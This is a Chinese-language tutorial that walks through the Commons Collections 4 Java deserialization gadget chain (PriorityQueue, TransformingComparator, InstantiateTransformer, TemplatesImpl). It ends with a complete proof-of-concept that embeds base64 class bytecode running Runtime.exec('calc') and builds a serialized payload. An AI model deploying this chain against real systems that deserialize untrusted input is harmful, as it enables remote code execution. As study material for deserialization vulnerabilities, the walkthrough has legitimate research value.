0x01：

这条链子前半段跟CC3 一样，都是动态加载字节码的过程，后边的构造用到了两个类，PriorityQueue和TransformingComparator

    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InstantiaterTransformer.transform()
                        	TrAXFilter.TrAXfilter
                            	Method.invoke()
                                	Runtime.exec()

链子：


#class PriorityQueue
PriorityQueue.readObject -> heapify()

heapify() -> siftDown()

siftDown() ->  siftDownComparator()

siftDownComparator() ->  comparator.compare(); #com[arator 可控 = TransformingComparator


#class TransformingComparator
compare()  ->  transformer.transform() # transformer可控 = InstantiateTransformer

接上CC3的链子
 

简化就是 PriorityQueue类 -> TransformingComparator 类 -> CC3

完整流程

PriorityQueue

先看看需要用到的PriorityQueue 类。

PriorityQueue()使用默认的初始容量(11)创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)使用指定的初始容量创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。

本篇主要用的到方法，add(E e)：将指定的元素插入此优先级队列

测试代码：

package CommonsCollections4;

import java.util.PriorityQueue;

public class Test {
    public static void main(String[] args) throws Exception {
        PriorityQueue priorityQueue=new PriorityQueue(2);
        priorityQueue.add(4);
        priorityQueue.add(3);
        priorityQueue.add(2);
        priorityQueue.add(1); //add()添加指定元素到队列
        System.out.println(priorityQueue);
        System.out.println(priorityQueue.poll()); //poll获取队列的头
    }

}

大概就是入队的添加，poll() 获取队头，之所以用他，是因为他重写了自己的readObject()方法

分析

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

最后调用了 heapify();

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

接着调用siftDown()

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

当comparator不为null时调用siftDownUsingComparator()

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

最后调用comparator.compare()，而comparator在本类的构造方法中可控，所以关键就在于调用谁的compare()了

public PriorityQueue(Comparator<? super E> comparator) {
    this(DEFAULT_INITIAL_CAPACITY, comparator);
}

public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

TransformingComparator

这里用到的是 TransformingComparator 类，在该类中发现compare()，并且调用transform()方法，后边的就跟之前都一样了

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

这个类在CC3 版本是无法使用的，因为CC4 才继承了serialize接口。

//CC 3.2.1
public class TransformingComparator implements Comparator {
//CC 4.0
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {

分析分析

后边跟CC3 一样直接贴过来

public static void main(String[] args) throws Exception {
    Templates templates = new TemplatesImpl();
    byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
    setFieldValue(templates,"_name","snowy");
    setFieldValue(templates,"_bytecodes",new byte[][]{bytes});



    Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(TrAXFilter.class), //将对象返回
            new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
    };
    ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
}

在执行到 compare() 的时候，他执行的是 this.transformer的transform(obj1)方法

final O value1 = this.transformer.transform(obj1);

所以我们需要构造 this.transformer=chainedTransformer ：

也就是： chainedTransformer.transformer(obj1);

构造器：

需要传Transformer的子对象，刚好 chainedTransformer就是其子对象

构造：

TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);

链子就接上了，我们已经接上了后半段的地方：

而 PriorityQueue 中需要调用 comparator.compare() ，所以这里的comparator需要是TransformingComparator才能接上，

看到PriorityQueue的构造方法也是可以直接传的。

构造器控制一下 comparator的值为 comparator=TransformingComparator类构造一下：

PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);

但是不能反序列化成功，原因有两个，我们打断点调试下

原因其一在这个地方：

这里会进行i = (size >>> 1) -1,只有当(size >>> 1) -1>=0时本轮循环才会执行调用siftDown()

这里可以运行下

只有2右移时才会 i >=0 进入 siftDown()

java中有三种移位运算符

<< : 左移运算符，num << 1,相当于num乘以2

>> : 右移运算符，num >> 1,相当于num除以2

>>> : 无符号右移，忽略符号位，空位都以0补齐

所以这里size至少为2时，经过右移操作后才能等于1，经过1-1之后i的值才能等于0从而进入循环，所以这里就要为size添加两个值

priorityQueue.add(1);
priorityQueue.add(2);

添加完后执行一下

报错

原因是

public boolean add(E e) {
    return offer(e);
}

在add()中会调用offer()

public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

而在offer() 中调用了siftUp() ，接着就一串 siftUpUsingComparator()->siftUpUsingComparator()->compare()......,

就在序列化时执行执行了，而这里的并没有执行，因为少了这里：

setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

之前cc3中把他去掉了，因为在执行readObject时，会默认初始化，但在这里想通过序列化触发的话，就要加上这条。接着回到刚才的问题，想让他在反序列化前不执行，就需要将transformingComparator的值修改为一个没用的值，绕过调用

TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

之后再在add()方法执行结束后，通过反射将transformingComparator修改回来

Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);

POC：

package CommonsCollections4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;


import java.util.Base64;
import java.util.PriorityQueue;

public class cc4 {

    public static void main(String[] args) throws Exception {
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        setFieldValue(templates,"_name","Sentiment");
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});



        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);


        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(0);

        Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);
        unserialize("1.txt");

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }

}